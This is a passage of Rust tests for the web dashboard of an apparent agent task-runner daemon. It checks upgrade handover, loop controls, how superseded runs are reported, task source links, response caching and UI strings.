21553 let home = TempDir::new().expect("temp home");
21554 let ui = idle_ui(&home);
21555 ui.start_loop(None).expect("start");
21556 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21557 .expect("first park");
21558 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21559 .expect("second park");
21560 assert!(handed_over(&home, ui).await);
21561 }
21562
21563 #[tokio::test]
21564 async fn a_stop_during_the_handover_wait_is_honoured() {
21565 let home = TempDir::new().expect("temp home");
21566 let ui = idle_ui(&home);
21567 ui.start_loop(None).expect("start");
21568 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21569 ui.stop_loop(None, false).expect("stop");
21570 assert!(!handed_over(&home, ui).await);
21571 }
21572
21573 #[tokio::test]
21574 async fn an_idle_loop_stays_stopped_across_the_handover() {
21575 let home = TempDir::new().expect("temp home");
21576 let ui = idle_ui(&home);
21577 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21578 assert!(!handed_over(&home, ui).await);
21579
21580 let successor = idle_ui(&home);
21581 assert!(!successor.resume_after_handover(false));
21582 assert!(!successor.loop_view(None).running);
21583 }
21584
21585 #[tokio::test]
21586 async fn a_loop_the_operator_stopped_is_not_resumed() {
21587 let home = TempDir::new().expect("temp home");
21588 let ui = idle_ui(&home);
21589 ui.start_loop(None).expect("start");
21590 ui.stop_loop(None, false).expect("stop");
21591 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21592 assert!(!handed_over(&home, ui).await);
21593 }
21594
21595 #[test]
21596 fn only_an_explicit_one_requests_a_resume() {
21597 assert!(!resume_requested(None));
21598 assert!(!resume_requested(Some("0".into())));
21599 assert!(!resume_requested(Some("".into())));
21600 assert!(resume_requested(Some("1".into())));
21601 }
21602
21603 #[test]
21604 fn the_upgrade_button_arms_before_it_restarts_anything() {
21605 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21608 assert!(APP_JS.contains("Replace the binary and restart?"));
21609 assert!(APP_JS.contains("function confirmed("));
21610 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21615 assert!(
21619 APP_JS.contains("Parking, then restarting"),
21620 "the button says what it is waiting for"
21621 );
21622 assert!(APP_JS.contains("if (!out.to)"));
21625 }
21626
21627 #[test]
21628 fn stopping_the_loop_arms_but_starting_does_not() {
21629 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21632 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21633 assert!(APP_JS.contains("confirmed(button, question)"));
21634 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
21637 assert!(APP_JS.contains("const label = btn.textContent;"));
21638 assert!(!APP_JS.contains("Neither direction is guarded"));
21639 }
21640
21641 #[test]
21642 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21643 assert!(
21644 APP_JS.contains("state.health.version"),
21645 "the operator wants to know what is running even with nothing newer"
21646 );
21647 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21648 }
21649
21650 #[test]
21651 fn the_upgrade_button_names_its_destination() {
21652 assert!(
21653 APP_JS.contains("`Update to ${update.to}`"),
21654 "pressing the button should not be a surprise about what it moves to"
21655 );
21656 }
21657
21658 #[test]
21659 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21660 for stage in ["downloading", "replaced", "parking", "restarting"] {
21661 assert!(
21662 APP_JS.contains(&format!("\"{stage}\"")),
21663 "the phone must be able to tell {stage} apart from the others"
21664 );
21665 }
21666 assert!(APP_JS.contains(".waiting_on"));
21667 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21672 assert!(APP_JS.contains("reconnects on its own"));
21673 }
21674
21675 #[test]
21676 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21677 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21678 ..APP_JS.find("function upgrade(").expect("upgrade")];
21679 assert!(!body.contains(
21680 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
21681 ));
21682 assert!(body.contains("renderUpgradeError();"));
21683 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21684 }
21685
21686 #[test]
21687 fn an_overdue_upgrade_eventually_asks_for_a_human() {
21688 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21691 assert!(APP_JS.contains("function upgradeOverdue("));
21692 }
21693
21694 #[test]
21695 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21696 assert!(
21697 APP_JS.contains("Updated to ${upgradeInfo.to"),
21698 "the operator who asked for the restart wants to know it worked"
21699 );
21700 }
21701
21702 #[test]
21703 fn an_error_is_visible_from_where_the_button_is() {
21704 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21709 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21710 assert!(
21711 alert.contains("position: fixed"),
21712 "an error about the thing under your thumb has to be visible from \
21713 where your thumb is: {alert}"
21714 );
21715 assert!(
21716 alert.contains("z-index: 25"),
21717 "above the dock (20) and the run-actions FAB (15), so neither \
21718 buries it: {alert}"
21719 );
21720 assert!(
21721 alert.contains("var(--tap)"),
21722 "and clear of the dock and the home indicator: {alert}"
21723 );
21724 assert!(
21727 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21728 "the FAB's column stays free: {alert}"
21729 );
21730 }
21731
21732 #[tokio::test]
21733 async fn an_older_attempt_says_what_replaced_it() {
21734 let fx = Fixture::start().await;
21735 let q = fx.queue();
21736 let runs = fx.runs();
21737 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21738 write_run(&runs, first, RunStatus::Stalled);
21739 write_run(&runs, second, RunStatus::Blocked);
21740
21741 let mut t = Task::new(
21742 "one task".to_owned(),
21743 "do it".to_owned(),
21744 PathBuf::from("/repo"),
21745 Source::Human,
21746 );
21747 t.runs = vec![first.to_owned(), second.to_owned()];
21748 q.put(&mut t).expect("put");
21749
21750 let rows = fx.get("/api/runs").await.json();
21754 let by = |short: &str| -> Value {
21755 rows.as_array()
21756 .unwrap()
21757 .iter()
21758 .find(|r| r["short"] == short)
21759 .cloned()
21760 .unwrap_or(Value::Null)
21761 };
21762 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21763 assert!(
21764 by("bbbb")["superseded_by"].is_null(),
21765 "the latest attempt is not superseded by anything"
21766 );
21767 assert!(APP_JS.contains("run.superseded_by"));
21769 assert!(APP_JS.contains("Superseded by"));
21770 }
21771
21772 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21773 let mut t = Task::new(
21774 "one task".to_owned(),
21775 "do it".to_owned(),
21776 PathBuf::from("/repo"),
21777 Source::Human,
21778 );
21779 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21780 t.status = status;
21781 t
21782 }
21783
21784 #[test]
21785 fn source_link_picks_the_page_that_filed_the_task() {
21786 let agent = |node: &str| Source::Agent {
21787 run: "20260904-014455-ab12".to_owned(),
21788 node: node.to_owned(),
21789 };
21790 let chat = source_link(&agent("chat")).expect("chat link");
21791 assert_eq!(chat.kind, "chat");
21792 assert_eq!(chat.id, "20260904-014455-ab12");
21793 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21794 let run = source_link(&agent("implement")).expect("run link");
21795 assert_eq!(
21796 (run.kind, run.href.as_str()),
21797 ("run", "#/runs/20260904-014455-ab12")
21798 );
21799 assert_eq!(source_link(&Source::Human), None);
21800 assert_eq!(
21801 source_link(&Source::Issue {
21802 number: 3,
21803 repo: "o/r".to_owned()
21804 }),
21805 None
21806 );
21807 let odd = source_link(&Source::Agent {
21808 run: "a b/c".to_owned(),
21809 node: "chat".to_owned(),
21810 })
21811 .expect("link");
21812 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21813 }
21814
21815 #[test]
21816 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21817 assert!(
21818 !APP_JS.contains("src.node === \"chat\""),
21819 "inline href rule is back"
21820 );
21821 assert!(
21822 APP_JS.matches("sourceLinkOf(").count() >= 4,
21823 "helper must serve every page"
21824 );
21825 assert!(
21826 APP_JS.matches("openChatLink(").count() >= 3,
21827 "the run page still needs its explicit chat link"
21828 );
21829 assert!(
21830 !APP_JS.contains("const openChat = el("),
21831 "the Queue card duplicates its source label link again"
21832 );
21833 assert!(
21834 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21835 "the task page must link a chat source label too"
21836 );
21837 }
21838
21839 #[test]
21840 fn task_ref_carries_the_source_link_for_a_chat_task() {
21841 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21842 t.source = Source::Agent {
21843 run: "20260904-014455-ab12".to_owned(),
21844 node: "chat".to_owned(),
21845 };
21846 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21847 let v = serde_json::to_value(&out).expect("json");
21848 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21849 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21850 assert_eq!(v["source_label"], t.source.label());
21851
21852 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21853 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21854 .expect("json");
21855 assert!(v["source_link"].is_null(), "{v}");
21856 }
21857
21858 #[test]
21859 fn task_view_serializes_source_link() {
21860 let mut t = Task::new(
21861 "t".to_owned(),
21862 "t".to_owned(),
21863 PathBuf::from("/repo"),
21864 Source::Agent {
21865 run: "20260901-000000-aaaa".to_owned(),
21866 node: "implement".to_owned(),
21867 },
21868 );
21869 t.runs.clear();
21870 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21871 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21872 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21873 }
21874
21875 #[test]
21876 fn task_view_serializes_urgent_flag() {
21877 let mut t = Task::new(
21878 "t".to_owned(),
21879 "t".to_owned(),
21880 PathBuf::from("/repo"),
21881 Source::Human,
21882 );
21883 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21884 assert_eq!(v["urgent"], false, "{v}");
21885 t.urgent = true;
21886 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21887 assert_eq!(v["urgent"], true, "{v}");
21888 assert!(APP_JS.contains("task.urgent === true"));
21889 }
21890
21891 #[tokio::test]
21892 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21893 let fx = Fixture::start().await;
21894 let runs = fx.runs();
21895 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21896 write_run(&runs, old, RunStatus::Blocked);
21897 write_run(&runs, new, RunStatus::Merged);
21898 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21899 fx.queue().put(&mut t).expect("put");
21900
21901 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21902 let task = &view["task"];
21903 assert_eq!(task["status"], "done");
21904 assert_eq!(task["is_latest"], false);
21905 assert_eq!(task["latest"]["short"], "bbbb");
21906 assert_eq!(task["finished_by"]["id"], new);
21907 assert_eq!(task["finished_by"]["outcome"], "merged");
21908 assert_eq!(task["closed_by_hand"], false);
21909 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21910 assert!(APP_JS.contains("finished_by"));
21911 assert!(APP_JS.contains("superseded by run"));
21912 }
21913
21914 #[tokio::test]
21915 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21916 let fx = Fixture::start().await;
21917 let runs = fx.runs();
21918 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21919 write_run(&runs, old, RunStatus::Stalled);
21920 write_run(&runs, new, RunStatus::Blocked);
21921 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21922 fx.queue().put(&mut t).expect("put");
21923
21924 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21925 assert_eq!(task["status"], "held");
21926 assert_eq!(task["is_latest"], true);
21927 assert!(task["latest"].is_null());
21928 assert!(task["finished_by"].is_null());
21929 assert_eq!(task["closed_by_hand"], false);
21930 }
21931
21932 #[tokio::test]
21933 async fn a_direct_run_has_no_task_outcome() {
21934 let fx = Fixture::start().await;
21935 let runs = fx.runs();
21936 let id = "20260901-000000-aaaa";
21937 write_run(&runs, id, RunStatus::Blocked);
21938 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21939 assert!(view["task"].is_null());
21940 }
21941
21942 #[test]
21943 fn task_outcome_does_not_guess_a_finishing_run() {
21944 let a = "20260901-000000-aaaa";
21945 let b = "20260901-000000-bbbb";
21946 let c = "20260901-000000-cccc";
21947 let dir = tempfile::tempdir().expect("tempdir");
21948 write_run(dir.path(), a, RunStatus::Blocked);
21949 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21950 let read = |id: &str| read_run(dir.path(), id).ok();
21952 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21955 let out = task_outcome(&t, a, 3, read);
21956 assert!(out.finished_by.is_none());
21957 assert!(out.closed_by_hand);
21958 let latest = out.latest.expect("latest");
21959 assert_eq!(latest.id, c);
21960 assert_eq!(latest.status, None);
21961 assert_eq!(latest.outcome, "record unreadable");
21962
21963 write_run(dir.path(), c, RunStatus::Ready);
21965 let t = outcome_task(&[a, c], TaskStatus::Done);
21966 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21967 assert_eq!(out.finished_by.expect("finisher").id, c);
21968 assert!(!out.closed_by_hand);
21969
21970 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21972 assert!(task_outcome(&t, a, 3, read).is_latest);
21973 }
21974
21975 #[tokio::test]
21976 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21977 let fx = Fixture::start().await;
21982 let q = fx.queue();
21983 let runs = fx.runs();
21984 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21985 write_run(&runs, first, RunStatus::Blocked);
21986 write_run(&runs, second, RunStatus::Merged);
21987
21988 let mut t = Task::new(
21989 "one task".to_owned(),
21990 "do it".to_owned(),
21991 PathBuf::from("/repo"),
21992 Source::Human,
21993 );
21994 t.runs = vec![first.to_owned(), second.to_owned()];
21995 q.put(&mut t).expect("put");
21996
21997 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21998 assert_eq!(earlier["superseded_by"], "dddd");
21999 assert_eq!(earlier["latest_attempt"]["id"], second);
22000 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22001 assert_eq!(
22002 earlier["latest_attempt"]["resolved"], true,
22003 "the run that replaced it landed, so this one reads as settled"
22004 );
22005
22006 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22007 assert!(
22008 later["superseded_by"].is_null(),
22009 "the latest attempt is not superseded by anything"
22010 );
22011 assert!(
22012 later["latest_attempt"].is_null(),
22013 "the latest attempt has no later attempt of its own"
22014 );
22015
22016 assert!(APP_JS.contains("run.latest_attempt"));
22023 assert!(APP_JS.contains("data-superseded"));
22024 assert!(APP_JS.contains("#/runs/${latest.id}"));
22025 }
22026
22027 #[tokio::test]
22028 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22029 let fx = Fixture::start().await;
22035 let q = fx.queue();
22036 let runs = fx.runs();
22037 let (a, b, c) = (
22038 "20260901-000000-aaaa",
22039 "20260901-000000-bbbb",
22040 "20260901-000000-cccc",
22041 );
22042 write_run(&runs, a, RunStatus::Blocked);
22043 write_run(&runs, b, RunStatus::Blocked);
22044 write_run(&runs, c, RunStatus::Merged);
22045
22046 let mut t = Task::new(
22047 "retried twice".to_owned(),
22048 "do it".to_owned(),
22049 PathBuf::from("/repo"),
22050 Source::Human,
22051 );
22052 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22053 q.put(&mut t).expect("put");
22054
22055 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22056 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22057 assert_eq!(
22058 view["latest_attempt"]["id"], c,
22059 "the chain's current head, not the intermediate Blocked retry"
22060 );
22061 assert_eq!(view["latest_attempt"]["resolved"], true);
22062
22063 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22064 assert_eq!(mid["latest_attempt"]["id"], c);
22065 assert_eq!(mid["latest_attempt"]["resolved"], true);
22066 }
22067
22068 #[tokio::test]
22069 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22070 let fx = Fixture::start().await;
22071 let q = fx.queue();
22072 let runs = fx.runs();
22073
22074 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22077 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22078 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22079 let mut t1 = Task::new(
22080 "still stuck".to_owned(),
22081 "do it".to_owned(),
22082 PathBuf::from("/repo"),
22083 Source::Human,
22084 );
22085 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22086 q.put(&mut t1).expect("put");
22087 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22088 assert_eq!(view1["latest_attempt"]["resolved"], false);
22089 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22090 assert_eq!(view1["latest_attempt"]["done"], true);
22091
22092 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22094 write_run(&runs, run_a, RunStatus::Blocked);
22095 write_run(&runs, run_b, RunStatus::Implementing);
22096 let mut t3 = Task::new(
22097 "retrying".to_owned(),
22098 "do it".to_owned(),
22099 PathBuf::from("/repo"),
22100 Source::Human,
22101 );
22102 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22103 q.put(&mut t3).expect("put");
22104 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22105 assert_eq!(view3["latest_attempt"]["id"], run_b);
22106 assert_eq!(view3["latest_attempt"]["resolved"], false);
22107 assert_eq!(view3["latest_attempt"]["done"], false);
22108
22109 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22114 write_run(&runs, noop_a, RunStatus::Blocked);
22115 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22116 let mut t2 = Task::new(
22117 "claims done".to_owned(),
22118 "do it".to_owned(),
22119 PathBuf::from("/repo"),
22120 Source::Human,
22121 );
22122 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22123 q.put(&mut t2).expect("put");
22124 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22125 assert_eq!(
22126 view2["latest_attempt"]["resolved"], false,
22127 "an unverified no-op claim must not read as a confirmed finish"
22128 );
22129
22130 assert!(APP_JS.contains("latest.resolved"));
22133 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22136 assert!(APP_JS.contains("Latest attempt: "));
22137 assert!(APP_JS.contains("in flight"));
22138 assert!(APP_JS.contains("not resolved"));
22139 }
22140
22141 #[tokio::test]
22142 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22143 let fx = Fixture::start().await;
22144 let js = fx.get("/app.js").await;
22150 assert_eq!(js.status, 200);
22151 let tag = js
22152 .header("etag")
22153 .expect("an etag to revalidate against")
22154 .to_owned();
22155 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22156 assert_eq!(
22157 js.header("cache-control"),
22158 Some("no-cache, must-revalidate"),
22159 "the phone has to ask every time"
22160 );
22161
22162 let again = fx
22165 .get_with("/app.js", &[("if-none-match", tag.as_str())])
22166 .await;
22167 assert_eq!(
22168 again.status, 304,
22169 "a deck it already has costs one round trip"
22170 );
22171 assert!(again.body.is_empty(), "304 carries no body");
22172
22173 let weak = fx
22176 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22177 .await;
22178 assert_eq!(weak.status, 304);
22179 let stale = fx
22180 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22181 .await;
22182 assert_eq!(stale.status, 200, "an older build must be replaced");
22183 assert!(stale.body.contains("renderRunActions"));
22184 }
22185
22186 #[test]
22187 fn the_task_detail_has_an_actions_fab_and_sheet() {
22188 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22189 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22190 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22191 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22193 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22194 assert!(APP_JS.contains("renderTaskActions(task);"));
22196 assert!(APP_JS.contains("renderTaskActions(null);"));
22197 let sheet = APP_JS
22199 .find("function renderTaskActions")
22200 .expect("sheet renderer");
22201 let body = &APP_JS[sheet..sheet + 3000];
22202 assert!(body.contains("changePriority("));
22203 assert!(body.contains("openTaskEdit(task)"));
22204 assert!(body.contains("renderTaskHoldBox(host"));
22205 assert!(body.contains("renderTaskDoneBox(host"));
22206 assert!(body.contains("renderTaskDeleteBox(host"));
22207 assert!(APP_JS.contains("API.priority(id)"));
22208 assert!(APP_JS.contains("API.deleteTask(id)"));
22209 assert!(APP_JS.contains("location.hash = \"#/queue\""));
22211 assert!(APP_JS.contains("$(\"task-actions-error\")"));
22213 }
22214
22215 #[test]
22216 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22217 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22218 let actions = INDEX_HTML
22219 .find("id=\"run-actions-box\"")
22220 .expect("actions box");
22221 assert!(task < actions, "the task entry comes first in the sheet");
22222 assert!(APP_JS.contains("renderRunTaskEntry"));
22223 assert!(APP_JS.contains("\"Open task \""));
22224 assert!(APP_JS.contains("started directly, no task"));
22226 assert!(APP_JS.contains("sheet-task-link"));
22227 assert!(APP_JS.contains("task-chip-link"));
22228 }
22229
22230 #[test]
22231 fn the_deck_never_sends_the_operator_to_a_terminal() {
22232 assert!(
22235 !APP_JS.contains("Run `magi fold` first"),
22236 "the deck must offer the fold, not prescribe a shell command"
22237 );
22238 assert!(APP_JS.contains("foldRun:"));
22239 assert!(APP_JS.contains("resumeRun:"));
22240 assert!(APP_JS.contains("renderRunActions"));
22241
22242 assert!(APP_JS.contains("armedFold"));
22244 assert!(APP_JS.contains("Yes, fold worktrees"));
22245
22246 assert!(APP_JS.contains("can no longer be resumed"));
22249 }
22250
22251 #[test]
22252 fn a_finished_run_explains_itself_with_its_own_last_line() {
22253 assert!(
22259 !APP_JS.contains("collapsed on agent quota"),
22260 "a stall must not be explained by a cause the deck did not check"
22261 );
22262 assert!(
22263 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22264 "and a block must not offer a guess with an `or` in it"
22265 );
22266
22267 assert!(
22271 APP_JS.contains("setText(r.event, run.event || \"\")"),
22272 "the run's last line is rendered unconditionally"
22273 );
22274 assert!(
22275 !APP_JS.contains("moving && run.event"),
22276 "and never gated on the run still moving"
22277 );
22278
22279 assert!(APP_JS.contains("lost to quota"));
22281 }
22282
22283 #[test]
22305 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22306 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22307 let shapes_body_start =
22308 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22309 let shapes_close = APP_JS[shapes_body_start..]
22310 .find("].map(")
22311 .expect("the shape list is closed by its done-computing .map(...)")
22312 + shapes_body_start;
22313 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22314
22315 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22316 for entry in shapes_src.split('{').skip(1) {
22317 let waiting = entry.contains("waiting: true");
22318 let dead = entry.contains("live: \"dead\"");
22319 let status_at =
22320 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22321 let status_end = entry[status_at..]
22322 .find('"')
22323 .expect("the status string is closed")
22324 + status_at;
22325 let parked = entry.contains("display_status: \"parked\"");
22326 shapes.push((
22327 waiting,
22328 entry[status_at..status_end].to_string(),
22329 dead,
22330 parked,
22331 ));
22332 }
22333 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22334
22335 let done_rule_marker = "done: !";
22339 let done_rule_at = APP_JS[shapes_close..]
22340 .find(done_rule_marker)
22341 .expect("the done rule follows the shape list")
22342 + shapes_close
22343 + done_rule_marker.len();
22344 let includes_at = APP_JS[done_rule_at..]
22345 .find(".includes(shape.status)")
22346 .expect("the done rule ends in .includes(shape.status)")
22347 + done_rule_at;
22348 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22349 .trim()
22350 .trim_start_matches('[')
22351 .trim_end_matches(']')
22352 .split(',')
22353 .map(|s| s.trim().trim_matches('"'))
22354 .filter(|s| !s.is_empty())
22355 .collect();
22356
22357 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22358 .into_iter()
22359 .map(|(waiting, status, dead, parked)| {
22360 let done = !not_done.contains(&status.as_str());
22361 (waiting, status, dead, parked, done)
22362 })
22363 .collect();
22364
22365 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22369 if waiting {
22370 return "waiting";
22371 }
22372 if dead
22373 && !parked
22374 && !matches!(
22375 status,
22376 "merged"
22377 | "ready"
22378 | "stalled"
22379 | "blocked"
22380 | "failed"
22381 | "verified_noop"
22382 | "superseded"
22383 | "already_in_base"
22384 )
22385 {
22386 return "stale";
22387 }
22388 match status {
22389 "merged" | "ready" => "landed",
22390 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22391 | "already_in_base" => "ended",
22392 _ => "flight",
22393 }
22394 }
22395
22396 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22399 match filter_key {
22400 "active" => !done,
22401 "flight" => !done && !waiting && !dead,
22402 "stale" => !done && !waiting && dead,
22403 "waiting" => waiting,
22404 "done" => done,
22405 "all" => true,
22406 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22407 }
22408 }
22409
22410 let compatible = |section: &str, filter_key: &str| {
22411 shapes.iter().any(|(waiting, status, dead, parked, done)| {
22412 run_section(*waiting, status, *dead, *parked) == section
22413 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22414 })
22415 };
22416
22417 let expected = [
22422 ("waiting", [true, false, false, true, true, true]),
22423 ("stale", [true, false, true, false, false, true]),
22424 ("flight", [true, true, false, false, false, true]),
22425 ("landed", [false, false, false, false, true, true]),
22426 ("ended", [false, false, false, false, true, true]),
22427 ];
22428 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22429
22430 for (section, wants) in expected {
22431 for (filter_key, want) in filter_keys.iter().zip(wants) {
22432 assert_eq!(
22433 compatible(section, filter_key),
22434 want,
22435 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22436 );
22437 }
22438 }
22439
22440 assert!(
22443 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22444 );
22445 assert!(APP_JS.contains(
22446 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22447 ));
22448 assert!(APP_JS.contains(
22449 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22450 ));
22451 }
22452
22453 #[tokio::test]
22454 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22455 let dir = tempfile::tempdir().expect("tempdir");
22459 let explicit = dir.path().join("not-a-checkout");
22460 std::fs::create_dir_all(&explicit).expect("create dir");
22461 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22462
22463 let missing = dir.path().join("does-not-exist-at-all");
22464 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22465 }
22466
22467 #[test]
22468 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22469 assert!(APP_JS.contains("function statsDonutArcs"));
22470 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22471 assert!(APP_JS.contains("function statusInBucket"));
22473 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22474 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22475 let buckets = [
22476 "merged",
22477 "ready",
22478 "in_progress",
22479 "blocked",
22480 "failed",
22481 "verified_noop",
22482 "superseded",
22483 "stalled",
22484 ];
22485 for key in buckets {
22486 let var = format!("--verdict-{key}:");
22487 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22489 assert!(
22490 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22491 "{key}"
22492 );
22493 }
22494 }
22495}